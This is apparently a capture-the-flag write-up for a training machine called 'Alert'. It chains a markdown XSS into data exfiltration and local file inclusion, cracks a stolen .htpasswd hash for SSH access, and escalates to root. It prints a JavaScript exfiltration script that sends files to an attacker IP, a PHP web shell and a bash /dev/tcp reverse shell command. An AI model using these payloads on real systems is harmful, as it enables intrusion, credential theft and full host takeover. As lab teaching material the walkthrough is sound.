Skip to content

Alert

Initial Enumeration

Nmap Scan

We first run an Nmap scan to discover open ports and available services.

$ sudo nmap -p22,80 -sC -sV -oN nmap-full 10.129.92.99
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-03 17:45 CET
Nmap scan report for 10.129.92.99
Host is up (0.099s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 30.43 seconds
  • SSH on port 22/TCP
  • HTTP on port 80/TCP

Port 80/TCP redirects us to alert.htb which we add to /etc/hosts file.

Port 80/TCP

Enumerate the website. We see index.php upon visiting, so we will fuzz for directories and endpoints with .php using Ffuf.

$ ffuf -u http://alert.htb/FUZZ -e php -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -ic

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://alert.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
 :: Extensions       : php 
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 302, Size: 660, Words: 123, Lines: 24, Duration: 42ms]
uploads                 [Status: 301, Size: 308, Words: 20, Lines: 10, Duration: 34ms]
css                     [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 129ms]
messages                [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 63ms]
<--SNIP-->

We will see a few directories and .php files. Notable here are /uploads and /messages directory as well as messages.php endpoint. We can't see anything upon visit, due to either 403 Access denied or just a blank page on messages.php.

While the Ffuf scan was running we manually enumerate the website. An administrator is frequently visiting the messages posted to Contact Us.

Alert.png

We may abuse this by finding an XSS vulnerability, since other manual enumeration didn't yield much. However need to note no cookies are in use, so might find another way to access sensitive data.

Exploitation

Testing XSS

Trying simple XSS payloads we will find XSS in the Markdown Viewer.

<script src=http://10.10.16.35:80/SOMETHING></script>

Upon clicking View Markdown we get a response back on our listener.

10.10.16.35 - - [03/Dec/2024 19:27:46] code 404, message File not found
10.10.16.35 - - [03/Dec/2024 19:27:46] "GET /SOMETHING HTTP/1.1" 404 -

We can also get sharable link to it through Share Markdown, triggering the XSS again upon visit.

Alert-2.png

Upon clicking it, we can more easily reveal the redirect link:

http://alert.htb/visualizer.php?link_share=674f4f492d8683.46867175.md

Another XSS vulnerability can be found in the Contact Us message field:

Alert-3.png

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.92.99 - - [03/Dec/2024 18:15:35] code 404, message File not found
10.129.92.99 - - [03/Dec/2024 18:15:35] "GET /SOMETHING'&lt;/script&gt; HTTP/1.1" 404 -

Important to note is that we see the end of the script tag being encoded. So we are not able to directly abuse this.

However we can also post links in message field of Contact Us.

Alert-4.png

The administrator will visit these links.

10.129.92.99 - - [03/Dec/2024 19:30:35] code 404, message File not found
10.129.92.99 - - [03/Dec/2024 19:30:35] "GET /SOMETHING HTTP/1.1" 404 -

With our previous enumeration of the web page and this discovery, we are able to exfiltrate data, by having the Administrator visit a page not accessible to us such as messages.php and sending the page content to our attacking machine. However we need to use the sharable Markdown link we discovered previously to not get the script tags messed up.

Restricted Page Exfiltration via XSS

We will prepare an exfiltration script that we will serve on our attack machine with an HTTP server. This script will retrieve the contents of messages.php and send them encoded in base64 format back to our attack machine.

Our exfil script will look like this and we will call it script.js:

var xhr = new XMLHttpRequest();
xhr.open('GET', '/messages.php', false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://10.10.16.35:80/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

Then we will host our web server again on 80/TCP in the directory of the script.js file.

$ python3 -m http.server 80

Following this we set up our markdown XSS payload, which serves to load our malicious script.js. We will call it payload.md and put the following as its contents:

<script src=http://10.10.16.35:80/script.js></script>

Next generate the markdown file containing this on the website.

Alert-5.png

Get the sharable link for it by clicking bottom right. Then we copy paste the link into the message field of Contact Us with arbitrary email.

Alert-6.png

We hit Send and will have successfully exfiltrated the data of messages.php page base64 encoded.

$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.129.92.99 - - [03/Dec/2024 19:41:06] "GET /script.js HTTP/1.1" 200 -
10.129.92.99 - - [03/Dec/2024 19:41:07] code 404, message File not found
10.129.92.99 - - [03/Dec/2024 19:41:07] "GET /exfil?r=PGgxPk1lc3NhZ2VzPC9oMT48dWw+PGxpPjxhIGhyZWY9J21lc3NhZ2VzLnBocD9maWxlPTIwMjQtMDMtMTBfMTUtNDgtMzQudHh0Jz4yMDI0LTAzLTEwXzE1LTQ4LTM0LnR4dDwvYT48L2xpPjwvdWw+Cg== HTTP/1.1" 404 -

We decode it to make it human-readable.

$ echo 'PGgxPk1lc3NhZ2VzPC9oMT48dWw+PGxpPjxhIGhyZWY9J21lc3NhZ2VzLnBocD9maWxlPTIwMjQtMDMtMTBfMTUtNDgtMzQudHh0Jz4yMDI0LTAzLTEwXzE1LTQ4LTM0LnR4dDwvYT48L2xpPjwvdWw+Cg==' | base64 -d
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>

We see parameter called file and a .txt file. When exfiltrating this file by modifying the script.js to request it, it will be empty.

XSS to LFI

So the next step is to try what we can do with the file parameter of messages.php. We will test for a local file inclusion vulnerability. This being Linux machine we try to exfiltrate the /etc/passwd file. We combine the above XSS vulnerability with a local file inclusion vulnerability by adjusting the script.js like the following:

var xhr = new XMLHttpRequest();
xhr.open('GET', '/messages.php?file=../../../../../../../etc/passwd', false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://10.10.16.35:80/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

And we repeat the initial exfiltration process again. This time we catch the following base64 encoded data on our web server.

10.129.92.99 - - [03/Dec/2024 19:45:43] "GET /script.js HTTP/1.1" 200 -
10.129.92.99 - - [03/Dec/2024 19:45:44] code 404, message File not found
10.129.92.99 - - [03/Dec/2024 19:45:44] "GET /exfil?r=PHByZT5yb<--SNIP-->Cg== HTTP/1.1" 404 -

We decode it again and can successfully confirm the local file inclusion vulnerability:

$ echo 'PHByZT5yb<--SNIP-->Cg==' | base64 -d
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
<--SNIP-->
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
</pre>

Next we extract other sensitive information. We start with the web server configuration.

Nmap scan revealed this is Apache httpd 2.4.41. So we hunt for Apache configuration files. The first one would be sites-enabled. Adjusting the script.js first:

var xhr = new XMLHttpRequest();
xhr.open('GET', '/messages.php?file=../../../../../../../etc/apache2/sites-enabled/000-default.conf', false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://10.10.16.35:80/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

Once again repeating steps, we get the file:

<VirtualHost *:80>
    ServerName alert.htb

    DocumentRoot /var/www/alert.htb

    <Directory /var/www/alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    RewriteEngine On
    RewriteCond %{HTTP_HOST} !^alert\.htb$
    RewriteCond %{HTTP_HOST} !^$
    RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
    ServerName statistics.alert.htb

    DocumentRoot /var/www/statistics.alert.htb

    <Directory /var/www/statistics.alert.htb>
        Options FollowSymLinks MultiViews
        AllowOverride All
    </Directory>

    <Directory /var/www/statistics.alert.htb>
        Options Indexes FollowSymLinks MultiViews
        AllowOverride All
        AuthType Basic
        AuthName "Restricted Area"
        AuthUserFile /var/www/statistics.alert.htb/.htpasswd
        Require valid-user
    </Directory>

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

This reveals the Vhost statistics.alert.htb, so we add it to /etc/hosts. Upon visiting the site we get a basic http authentication prompt. So we keep this in mind if we find credentials along the way.

Alert-7.png

The other interesting information obtained through the 000-default.conf file is the AuthUserFile (.htpassword). This may contain sensitive information. With the full path to it revealed, we exfiltrate it by adjusting the script.js once again:

var xhr = new XMLHttpRequest();
xhr.open('GET', '/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd', false);
xhr.send();

var exfil = new XMLHttpRequest();
exfil.open("GET", "http://10.10.16.35:80/exfil?r=" + btoa(xhr.responseText), false);
exfil.send();

We get the following contents.

albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/

This is the APR1 hash format for Apache. We crack the hash with Hashcat:

$ ./hashcat hashes/alert/statistics.hash rockyou.txt -m 1600 --username
hashcat (v6.2.6-851-g6716447df) starting

Successfully initialized the NVIDIA main driver CUDA runtime library.
<--SNIP-->
Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited

Successfully retrieve cleartext credentials albert:manchesterunited.

Try login on statistics.alert.htb succeeds but nothing too interesting.

Alert-8.png

However we can also successfully authenticate to the alert.htb host via SSH.

$ ssh albert@alert.htb                  
<--SNIP-->
Last login: Tue Nov 19 14:19:09 2024 from 10.10.14.23
albert@alert:~$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
albert@alert:~$ hostname
alert

Host Enumeration

Initial enumeration shows one other user on machine:

$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
albert:x:1000:1000:albert:/home/albert:/bin/bash
david:x:1001:1002:,,,:/home/david:/bin/bash

Also an interesting SUID binary chrome-sandbox, that however sadly cannot be exploited and is an SUID by default:

$ find / -perm -4000 2>/dev/null
/opt/google/chrome/chrome-sandbox
/usr/bin/chfn
/usr/bin/mount
/usr/bin/su
/usr/bin/newgrp
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/fusermount
/usr/bin/passwd
/usr/bin/umount
/usr/bin/at
/usr/bin/chsh
/usr/lib/eject/dmcrypt-get-device
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

We just run linpeas and we will see port 8080/TCP being open locally on the alert.htb host.

$ ./linpeas.sh
<--SNIP-->
╔══════════╣ Active Ports                                                                                   
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
<--SNIP-->

Local Port Forwarding with Ligolo-ng

We will forward this port to our attack machine. We could just use SSH, however decide to use ligolo.

$ sudo ./proxy -selfcert

> interface_create --name alert

Transfer agent over to alert machine.

$ ./agent -connect 10.10.16.35:11601 -retry -ignore-cert

And on attack machine:

> route_add --name alert --route 240.0.0.1/8

Enumerating Local Web Application

We can now visit the site locally on our attack machine.

Alert-9.png

Nothing too interesting yet. So we further enumerate the host and looking at /opt directory we find the potential web root for the site hosted locally on port 8080/TCP:

$ ls -al
total 16
drwxr-xr-x  4 root root 4096 Oct 12 00:58 .
drwxr-xr-x 18 root root 4096 Nov 14 10:55 ..
drwxr-xr-x  3 root root 4096 Mar  8  2024 google
drwxrwxr-x  7 root root 4096 Oct 12 01:07 website-monitor
$ ls -al
total 96
drwxrwxr-x 7 root root        4096 Oct 12 01:07 .
drwxr-xr-x 4 root root        4096 Oct 12 00:58 ..
drwxrwxr-x 2 root management  4096 Dec  3 19:46 config
drwxrwxr-x 8 root root        4096 Oct 12 00:58 .git
drwxrwxr-x 2 root root        4096 Oct 12 00:58 incidents
-rwxrwxr-x 1 root root        5323 Oct 12 01:00 index.php
-rwxrwxr-x 1 root root        1068 Oct 12 00:58 LICENSE
-rwxrwxr-x 1 root root        1452 Oct 12 01:00 monitor.php
drwxrwxrwx 2 root root        4096 Oct 12 01:07 monitors
-rwxrwxr-x 1 root root         104 Oct 12 01:07 monitors.json
-rwxrwxr-x 1 root root       40849 Oct 12 00:58 Parsedown.php
-rwxrwxr-x 1 root root        1657 Oct 12 00:58 README.md
-rwxrwxr-x 1 root root        1918 Oct 12 00:58 style.css
drwxrwxr-x 2 root root        4096 Oct 12 00:58 updates

See website directory /config that management group has access too, which our current user albert is part of.

$ ls  -al
total 16
drwxrwxr-x 2 root   management 4096 Dec  3 19:46 .
drwxrwxr-x 7 root   root       4096 Oct 12 01:07 ..
-rwxrwxr-x 1 root   management   49 Dec  3 20:01 configuration.php

Alert-10.png

Privilege Escalation

The management group further has read, write and execute rights on this directory. So we decide to drop a PHP web shell in it. We add the following PHP script to the directory and call it shelly.php:

<?php system($_GET['cmd']); ?>

Now we can successfully execute commands using it and we also see the application running as root user.

$ curl -s "240.0.0.1:8080/config/shelly.php?cmd=id"                          
uid=0(root) gid=0(root) groups=0(root)

So we will get a reverse shell by first starting our listener.

$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...

We then use Curl with --data-encode to URL encode and --get to specify the method:

$ curl -s "240.0.0.1:8080/config/shelly.php" --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.16.35/7777 0>&1'" --get

A reverse shell connection as root on the alert.htb host is successfully established.

connect to [10.10.16.35] from (UNKNOWN) [10.129.92.99] 38482
bash: cannot set terminal process group (984): Inappropriate ioctl for device
bash: no job control in this shell

root@alert:/opt/website-monitor/config# id
uid=0(root) gid=0(root) groups=0(root)

root@alert:/opt/website-monitor/config# hostname
hostname